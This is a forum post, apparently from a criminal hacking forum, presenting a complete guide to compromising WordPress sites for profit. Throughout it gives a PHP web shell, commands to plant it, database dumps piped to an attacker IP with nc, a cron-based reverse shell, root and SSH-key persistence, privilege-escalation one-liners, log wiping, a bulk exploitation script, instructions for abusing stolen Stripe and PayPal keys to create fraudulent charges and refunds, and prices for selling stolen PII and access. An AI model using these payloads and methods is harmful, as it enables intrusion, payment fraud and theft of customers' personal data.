WordPress Exploitation 2026 β€” Full Guide: Recon, Vulnerability Scanning, Shell Upload, Database Access & Data Exfiltration

Blacksec

Administrator
Staff member
🌐 WORDPRESS EXPLOITATION 2026 🌐

Recon β€’ Vulnerability Scanning β€’ Shell Upload β€’ Database Access β€’ Data Exfil



⚑ AUTHOR'S NOTE:

WordPress powers 43% of the internet. That's 400+ million sites. And a huge percentage of them are running outdated plugins, weak passwords, or misconfigured servers.

WordPress exploitation is the gateway to:
- Free hosting for phishing pages
- SMTP access for email campaigns
- WooCommerce customer payment data
- Fullz from membership/registration sites
- SEO spam / backlink injection
- Credential harvesting via compromised access

This guide covers the entire kill chain β€” from finding targets to extracting everything of value.



πŸ“Œ TABLE OF CONTENTS

  • 1.0 β€” Target Reconnaissance (Finding Vulnerable Sites)
  • 2.0 β€” Automated Scanning (WPScan, Nuclei, Custom Scripts)
  • 3.0 β€” Exploiting Plugins & Themes
  • 4.0 β€” Uploading a Web Shell
  • 5.0 β€” Post-Exploitation: Database Extraction
  • 6.0 β€” WooCommerce Payment Data
  • 7.0 β€” Privilege Escalation & Persistence
  • 8.0 β€” Automation: Bulk WordPress Hacking
  • 9.0 β€” Selling Access & Data
  • 10.0 β€” OpSec for WordPress Hacking



1.0 β€” TARGET RECONNAISSANCE

Finding WordPress Sites:

Code:
# Method 1: Google Dorking
inurl:/wp-admin/
inurl:/wp-content/
inurl:/wp-json/
intitle:"index of" wp-content
"powered by wordpress" intitle:"shop"  # WooCommerce stores

# Method 2: Shodan / Censys
http.title:"WordPress" country:US
http.component:"wordpress" http.component:"woocommerce"

# Method 3: Mass Scanning
# Use httpx or httprobe to find WP sites from domain lists
cat domains.txt | httpx -path /wp-admin/ -mc 200 -o wp_sites.txt

# Method 4: Public Exploit Databases
# Check exploit-db.com, packetstormsecurity.com for recent WP CVEs
# Check wpscan.com for known vulnerable plugins

Enumerating a Target:

Code:
# Check if it's WordPress
curl -s https://target.com/ | grep -i "wordpress\|wp-content\|wp-json"

# Enumerate WordPress version
curl -s https://target.com/readme.html | grep "Version"
# OR check the generator tag
curl -s https://target.com/ | grep "generator"

# Enumerate users (if API enabled)
curl -s https://target.com/wp-json/wp/v2/users/
# If this returns data, you have usernames for brute force

# Enumerate plugins
curl -s https://target.com/wp-content/plugins/ -L | grep "href"

# Check for XML-RPC (brute force vector)
curl -s https://target.com/xmlrpc.php -d '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
# If returns XML β†’ XML-RPC is enabled β†’ brute force possible



2.0 β€” AUTOMATED SCANNING

WPScan (The Industry Standard):

Code:
# Install
gem install wpscan

# Basic scan
wpscan --url https://target.com --enumerate vp,vt,u --api-token YOUR_TOKEN

# Aggressive scan (all plugins, themes, users)
wpscan --url https://target.com --enumerate ap,at,u --plugins-detection aggressive

# Password brute force (if you have usernames)
wpscan --url https://target.com --passwords rockyou.txt --usernames admin

# What WPScan finds:
# - WordPress version (and known vulnerabilities)
# - Plugin list (and known vulnerabilities)
# - Theme list
# - Username enumeration
# - Weak passwords

Nuclei + WordPress Templates:

Code:
# Install Nuclei
go install -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei@latest

# Scan WordPress targets
nuclei -u https://target.com -t wordpress/

# Scan for all WordPress CVEs
nuclei -u https://target.com -t wordpress/ -severity critical,high

# Bulk scan multiple targets
nuclei -l wp_sites.txt -t wordpress/ -o vulnerable.txt

# Most valuable templates to check:
# - CVE-2024-XXXX vulnerable plugin checks
# - wp-config backup disclosure
# - PHPInfo disclosure
# - Debug log disclosure

Custom Scanner (Python):

Code:
# wp_scanner.py - Lightweight WordPress vulnerability scanner
import requests
import re
import sys
from concurrent.futures import ThreadPoolExecutor

class WPScanner:
    def __init__(self, target):
        self.target = target.rstrip("/")
        self.session = requests.Session()
        self.session.headers.update({
            "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
        })
        self.findings = []
    
    def check_wp(self):
        """Confirm the site is WordPress."""
        paths = ["/wp-admin/", "/wp-login.php", "/wp-content/"]
        for path in paths:
            try:
                r = self.session.get(f"{self.target}{path}", timeout=10)
                if r.status_code == 200:
                    self.findings.append(f"βœ“ WordPress confirmed: {path}")
                    return True
            except:
                pass
        return False
    
    def check_version(self):
        """Check WordPress version from readme.html."""
        try:
            r = self.session.get(f"{self.target}/readme.html", timeout=10)
            version = re.search(r"Version (\d+\.\d+[\.\d]*)", r.text)
            if version:
                self.findings.append(f"βœ“ Version: {version.group(1)}")
        except:
            pass
    
    def check_xmlrpc(self):
        """Check if XML-RPC is enabled."""
        try:
            data = '<?xml version="1.0"?><methodCall><methodName>system.listMethods</methodName></methodCall>'
            r = self.session.post(f"{self.target}/xmlrpc.php", data=data, timeout=10)
            if "methodName" in r.text:
                self.findings.append("βœ“ XML-RPC enabled (brute force vector)")
        except:
            pass
    
    def check_plugins(self, plugins):
        """Check if common vulnerable plugins exist."""
        for plugin in plugins:
            try:
                r = self.session.get(f"{self.target}/wp-content/plugins/{plugin}/", timeout=10)
                if r.status_code == 200 or r.status_code == 403:
                    self.findings.append(f"βœ“ Plugin found: {plugin}")
            except:
                pass
    
    def check_debug_log(self):
        """Check for exposed debug log."""
        paths = ["/wp-content/debug.log", "/wp-content/debug.log.1", "/error.log"]
        for path in paths:
            try:
                r = self.session.get(f"{self.target}{path}", timeout=10)
                if r.status_code == 200 and len(r.text) > 100:
                    self.findings.append(f"⚠ DEBUG LOG EXPOSED: {path}")
                    return True
            except:
                pass
        return False
    
    def check_wpconfig_backup(self):
        """Check for wp-config.php backups."""
        paths = ["/wp-config.bak", "/wp-config.php.bak", "/wp-config.txt",
                 "/wp-config.php~", "/wp-config.old", "/wp-config.save"]
        for path in paths:
            try:
                r = self.session.get(f"{self.target}{path}", timeout=10)
                if r.status_code == 200 and "define" in r.text:
                    self.findings.append(f"⚠ WP-CONFIG BACKUP: {path}")
                    return True
            except:
                pass
        return False
    
    def scan(self):
        """Run all checks."""
        print(f"[*] Scanning: {self.target}")
        
        if not self.check_wp():
            print("[-] Not WordPress")
            return self.findings
        
        self.check_version()
        self.check_xmlrpc()
        self.check_debug_log()
        self.check_wpconfig_backup()
        
        # Check common vulnerable plugins
        vuln_plugins = [
            "elementor/elementor.php",
            "woocommerce/woocommerce.php",
            "contact-form-7/wp-contact-form-7.php",
            "wordfence/wordfence.php",
            "yoast-seo/wp-seo.php"
        ]
        self.check_plugins(vuln_plugins)
        
        return self.findings

# Usage
if __name__ == "__main__":
    target = sys.argv[1] if len(sys.argv) > 1 else input("Target URL: ")
    scanner = WPScanner(target)
    results = scanner.scan()
    print("\n".join(results) if results else "No findings")



3.0 β€” EXPLOITING PLUGINS & THEMES

WooCommerce Payment Data Extraction:

Code:
Prerequisites: Admin-level access to the WordPress dashboard.

If you have admin access (via brute force, stolen creds, or plugin exploit):

1. Navigate to: WooCommerce β†’ Status β†’ Logs
   - Payment gateway logs often contain full transaction data
   - Look for Stripe/PayPal debug logs

2. Export customer data:
   - WooCommerce β†’ Customers β†’ Export
   - This gives you: name, email, address, phone
   - Does NOT give credit card numbers (they're tokenized)

3. Database access (for full card data):
   - Install WP Database Reset plugin or Adminer
   - OR access phpMyAdmin if exposed
   - In the database: wp_posts table contains order data
   - Payment tokens are in wp_woocommerce_payment_tokens
   - Card data is usually NOT stored (tokenized by Stripe/PayPal)
   - HOWEVER: if they use a direct payment gateway, cards may be in plaintext

High-Value Plugin Vulnerabilities:

PluginVulnerabilityImpactPatch Status
Elementor ProStored XSS in widgetsAdmin account takeoverFixed in 3.18+
Contact Form 7File upload bypassUpload PHP shellFixed in 5.8+
WP Reset ProPrivilege escalationAdmin accessFixed in 2.0+
LayerSliderSQL InjectionFull database accessVarious
Slider RevolutionFile upload / XSSShell uploadVarious
File ManagerArbitrary file uploadShell upload (very common)Fixed in 7.1+
WooCommercePayment data exposure in logsCustomer PIINot a bug - log config issue



4.0 β€” UPLOADING A WEB SHELL

Once you have a file upload vulnerability or admin access, upload a web shell.

The WSO (Web Shell by oRb) β€” Most Reliable:

Code:
// Minimal PHP web shell
<?php
// wso_mini.php - Upload and access via /wp-content/plugins/wso_mini.php
@error_reporting(0);
if ($_GET['cmd']) {
    echo "<pre>" . shell_exec($_GET['cmd']) . "</pre>";
}
if ($_GET['f']) {
    echo file_get_contents($_GET['f']);
}
if ($_GET['dl']) {
    header('Content-Disposition: attachment; filename="' . basename($_GET['dl']) . '"');
    readfile($_GET['dl']);
}
?>

// Upload path (via admin):
// Appearance β†’ Theme Editor β†’ Theme Functions (functions.php)
// Add the shell code at the bottom
// Access: https://target.com/wp-content/themes/[theme]/functions.php?cmd=id

Upload Methods:

Code:
Method 1: Plugin Upload (with admin access)
  1. Plugins β†’ Add New β†’ Upload Plugin
  2. Upload a zip containing your PHP shell
  3. Activate plugin
  4. Access: /wp-content/plugins/[your-plugin]/shell.php?cmd=id

Method 2: Theme File Editor (with admin access)
  1. Appearance β†’ Theme File Editor
  2. Select functions.php
  3. Add shell code at the bottom
  4. Save β†’ Access: /wp-content/themes/[theme]/functions.php

Method 3: Media Library Upload (limited usefulness)
  - Upload a .php file via Media Library (usually blocked)
  - Upload a .jpg with PHP code inside, use include() vuln

Method 4: Plugin Vulnerability
  - Exploit a file upload vulnerability in an installed plugin
  - Common: File Manager plugin, Contact Form 7, any "upload" plugin
  - Direct file upload to /wp-content/uploads/

Post-Shell Checklist:

Code:
Once you have shell access:

1. Verify permissions: cmd=id
   - www-data = limited, root = full control

2. Find wp-config.php: cmd=cat /var/www/wp-config.php
   - Extract: DB_NAME, DB_USER, DB_PASSWORD, DB_HOST
   - Extract: AUTH_KEY, SECURE_AUTH_KEY, LOGGED_IN_KEY
   - Extract: Any API keys (Stripe, PayPal, Mailchimp)

3. List users: cmd=cat /etc/passwd | grep /home
   - Check for other users on the server

4. List other sites: cmd=ls -la /var/www/
   - Shared hosting often has multiple sites accessible

5. Check for writable directories: cmd=find /var/www -writable -type d

6. Upload a full-featured shell (WSO, C99, R57):
   - cmd=wget -O /var/www/wp-content/shell.php https://your-server/shell.txt

7. Clean up logs:
   - /var/log/apache2/access.log
   - /var/log/nginx/access.log
   - wp-content/debug.log



5.0 β€” DATABASE EXTRACTION

Exporting the Database:

Code:
# From command line via shell
mysqldump -u [DB_USER] -p[DB_PASS] [DB_NAME] > /tmp/db_dump.sql

# Compress and download
gzip /tmp/db_dump.sql
# Download via shell: /tmp/db_dump.sql.gz

# OR: Send to your server directly
mysqldump -u [DB_USER] -p[DB_PASS] [DB_NAME] | gzip | nc -q 1 [YOUR_IP] [PORT]

# OR: Export specific tables
mysqldump -u [DB_USER] -p[DB_PASS] [DB_NAME] wp_users wp_usermeta > users.sql
mysqldump -u [DB_USER] -p[DB_PASS] [DB_NAME] wp_posts wp_postmeta > orders.sql

# OR: Via SQL query (if no command line)
SELECT * FROM wp_users INTO OUTFILE '/tmp/wp_users.csv' FIELDS TERMINATED BY ',';

Most Valuable Database Tables:

TableContainsValue
wp_usersUsernames, email, hashed passwordsHigh (credential stuffing)
wp_usermetaUser metadata (names, addresses, phone)High (fullz data)
wp_postsPosts, pages, and WooCommerce ordersMedium-High
wp_postmetaOrder details, billing/shipping addressesHigh (customer data)
wp_optionsSite config, API keys, payment settingsVery High
wp_woocommerce_ordersOrder recordsHigh
wp_commentmetaComments + sometimes cached dataLow-Medium



6.0 β€” WOOCOMMERCE PAYMENT DATA

WooCommerce stores are the holy grail for carding data.

Types of Payment Data:

Code:
1. If store uses Stripe:
   - Cards are tokenized (you can't get full CC# from Stripe)
   - BUT: you can use Stripe API key to create charges
   - Extract: stripe_secret_key from wp_options
   - Then: stripe.publishable_key and stripe_secret_key
   - Use Stripe API to refund transactions or create new charges

2. If store uses PayPal:
   - Extract: PayPal API credentials from wp_options
   - Use: create fraudulent payments or refunds

3. If store uses a direct payment gateway (less common):
   - Cards may be stored in PLAINTEXT
   - Check: wp_woocommerce_payment_tokenmeta
   - Check: custom tables (some plugins store CC data)
   - Search: SELECT * FROM wp_postmeta WHERE meta_key LIKE '%card%'

4. If store uses Authorize.net / NMI / other:
   - Usually tokenized
   - BUT: the gateway's API key allows creating new transactions

Extracting Stripe Keys:

Code:
# From database
SELECT option_value FROM wp_options WHERE option_name LIKE '%stripe%';

# This returns:
# stripe_secret_key: sk_live_xxxxxxxxxxxxx
# stripe_publishable_key: pk_live_xxxxxxxxxxxxx
# stripe_webhook_secret: whsec_xxxxxxxxxxxxx

# With the secret key, you can:
# - List all charges
# - Refund charges (to your own card)
# - Create new charges
# - Access customer payment methods
# - Transfer funds to your connected account

# Example: List recent charges
curl https://api.stripe.com/v1/charges \
  -u sk_live_xxxxxxxxxxxxx: \
  -d limit=10

# Example: Refund a charge
curl https://api.stripe.com/v1/refunds \
  -u sk_live_xxxxxxxxxxxxx: \
  -d charge=ch_xxxxxxxxxxxxx



7.0 β€” PRIVILEGE ESCALATION & PERSISTENCE

From Shell to Root:

Code:
# Check for sudo access
sudo -l

# Common WordPress server misconfigurations
sudo -u root /usr/bin/php -r 'system("/bin/bash");'
sudo /usr/bin/find . -exec /bin/sh \; -quit
sudo /usr/bin/python3 -c 'import os; os.system("/bin/sh")'

# SUID binaries
find / -perm -4000 -type f 2>/dev/null

# Kernel exploits (older systems)
uname -a
# Search exploit-db for kernel version

# Docker escape (if in container)
cat /proc/1/cgroup | grep docker
# Check for docker.sock
ls -la /var/run/docker.sock

Persistence Methods:

Code:
Method 1: Backdoor in Active Plugin
  - Add shell code to an active plugin's main file
  - Survives theme changes and some updates

Method 2: Cron Job
  # Add a reverse shell to wp-cron
  echo "*/5 * * * * root bash -c 'bash -i >& /dev/tcp/YOUR_IP/4444 0>&1'" > /etc/cron.d/wp-backdoor

Method 3: SSH Key (if SSH enabled)
  mkdir -p /root/.ssh
  echo "YOUR_SSH_PUBLIC_KEY" >> /root/.ssh/authorized_keys

Method 4: New Admin User
  # Create a hidden admin user in WordPress
  INSERT INTO wp_users (user_login, user_pass, user_email) 
  VALUES ('backupadmin', '$P$Bhashedpassword', 'admin@backup.tld');
  INSERT INTO wp_usermeta (user_id, meta_key, meta_value) 
  VALUES (LAST_INSERT_ID(), 'wp_capabilities', 'a:1:{s:13:"administrator";b:1;}');



8.0 β€” AUTOMATION: BULK WORDPRESS HACKING

Automated Exploitation Pipeline:

Code:
1. Target Acquisition
   - Use Shodan, Censys, or Google dorks to get 10k+ WP site list
   - Filter by country, industry, or criteria

2. Version/Plugin Detection
   - Run WPScan on each target
   - Extract: WP version, plugin list, user list
   - Output to CSV

3. Vulnerability Matching
   - Cross-reference versions/plugins with known CVEs
   - Prioritize: critical severity, file upload, SQL injection

4. Exploitation
   - Run exploit scripts against vulnerable targets
   - For each successful exploit: upload shell, extract config

5. Data Extraction
   - From each shell: extract wp-config.php
   - From each DB: extract user table, option table, order table
   - Download to central server

6. Cleanup
   - Remove shell, clear logs
   - Optionally: leave backdoor for future access

Sample Bulk Exploitation Script:

Code:
#!/bin/bash
# bulk_wp.sh - Automated WordPress exploitation pipeline

TARGETS="wp_targets.txt"
OUTPUT_DIR="./wp_exploited"
mkdir -p $OUTPUT_DIR

while read -r target; do
    echo "[*] Scanning: $target"
    
    # Run WPScan (quick mode)
    wpscan --url "$target" --enumerate vp --format json \
        -o "$OUTPUT_DIR/$(echo $target | md5sum | cut -d' ' -f1).json" \
        --api-token YOUR_TOKEN
    
    # Check for specific CVEs
    for cve in "CVE-2024-XXXX" "CVE-2024-YYYY"; do
        nuclei -u "$target" -t wordpress/cves/$cve.yaml -silent
    done
    
    # If vulnerable, run exploit
    # python3 exploit.py -u "$target" -o "$OUTPUT_DIR"
    
    echo "[*] Done: $target"
done < "$TARGETS"

echo "[*] Scan complete. Check $OUTPUT_DIR for results."



9.0 β€” MONETIZING COMPROMISED WORDPRESS SITES

What to Do With Access:

AssetHow to MonetizeEstimated Value
SMTP AccessSend spam / phishing emails$50-200 per SMTP (sold on forums)
Shell / Server AccessHost phishing pages, crypto drainers$100-500 per shell (varies by server power)
Database (Users)Sell for credential stuffing, phishing campaigns$5-50 per 1k records
Database (Full)Sell entire database with PII$50-500 depending on size
Stripe API KeysRefund charges, sell keys, create fraudulent charges$200-2,000 per key (varies by transaction volume)
SEO SpamInject backlinks (sell link placements)$20-100 per link (recurring)
Crypto WalletIf the site stores crypto β€” drain itVariable



10.0 β€” OPSEC

Covering Your Tracks:

  • Always use VPN/proxy when scanning or exploiting (VPS in different country)
  • Never access compromised sites from home IP or personal device
  • Rotate IPs between targets (don't use same IP for 50 scans)
  • Use --random-agent or custom User-Agents in all tools
  • Clear logs after shell access: /var/log/apache2/, /var/log/auth.log, wp-content/debug.log
  • Remove .bash_history: history -c && cat /dev/null > ~/.bash_history
  • Don't leave shells on the server longer than necessary
  • If you sell access, use escrow or trusted middlemen
  • Never brag about specific compromises (this is how people get caught)
  • The FBI has prosecuted WordPress hackers under CFAA β€” respect the risk



END OF WORDPRESS EXPLOITATION GUIDE

400 million targets. Most of them vulnerable. Pick your shots wisely.
 
Top